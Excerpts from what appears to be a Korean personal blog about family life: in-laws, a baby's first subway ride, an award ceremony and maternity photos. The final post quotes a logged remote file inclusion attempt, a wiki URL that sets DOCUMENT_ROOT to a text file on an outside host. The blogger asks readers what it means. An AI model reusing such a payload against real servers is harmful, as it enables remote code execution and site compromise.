장모님이 사시는 곳은 우리집에서 걸어서 10분 거리의 동남아파트. 그래서 우리는 보통 ‘동남집’이라고 부른다. 가끔 우리 부부가 함께 외출해야 할 때면 동남집에 하임이를 맡기러 가곤 하는데, 이 날은 얼마전부터 시작한 동남집 내부 공사가 드디어 마무리 되었다고 해서 공사가 잘 됐는지 구경도 할 겸, 청소도 도와드릴 겸 해서 동남집에 방문했다. 집에 도착하니 형님댁에서 먼저 오셔서 일을 하고 […]
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하임이 전철 여행기
지난 토요일, 하임이는 처음으로 전철을 탔습니다. 그동안 집 주변을 산책하거나 가까운 외가댁에 다녀온 적은 있어도 대중교통을 타고서 멀리까지 가보기는 이번이 처음이랍니다. 근데 이녀석 슬링에 담아 밖에 나가기만 하면 쿨쿨 잡니다. 몸은 집 밖에 있는 반면 마음은 방안 요 위에 있는 걸까요? 예쁜 모자를 쓰고서 슬링에 담긴 하임이 왜 우낀가 했더니, 알고보니 머리 뒤에 묶어야 할 […]
상을 받은 아빠와 엄마
아빠가 문학회에서 주는 상을 받기 위해 서울에 올라왔다. 시상식 장소가 학교 가까운 곳이라서 사진을 찍어주러 갔다. 간만에 엄마 아빠의 밝은 표정이 사진에 담긴 것 같다.^^ 시상식이 끝난 후, 인증 샷 저녁 식사가 끝난 후, 몰카
4월 부인님의 일관된 패션
카메라의 사진들을 하드에 옮겨보니, 4월엔 사진을 별로 찍지 않았더군요. 대부분의 사진은 부인님과 함께 학교를 오가며 찍은 사진들이었습니다. 부인님의 패션이 거의 동일하다는 점을 빼면 크게 특이할 것은 없습니다. (저 옷 외에도 지혜한테 받은 여러 벌의 임신복이 있었는데 사진엔 안 담겼네요 -_-) 출산을 한달 앞둔 시점이었지만, 평균 주4회 학교에 출근했습니다. 전철로 1시간 30분 거리였지만 열심히 출퇴근하며 다녔지요. […]
오늘 홈페이지의 로그를 확인해보니 아래와 같은 수상한 방문 기록이 남아 있었다. http://zolaist.org/wiki/index.php//?_SERVER%5BDOCUMENT_ROOT%5D=http://www.teamspiritrealty.com/photo//data/id1.txt??? 살짝 검색을 해보니 이런 형식의 해킹이 꽤 있는 것 같던데, 한글로 된 몇몇 자료는 무슨 뜻인지 잘 모르겠고, 영어로 된 검색 자료는 읽기 귀찮아서 포기 -_-; 혹시 이런 종류의 해킹에 대해 아는 사람 있나?
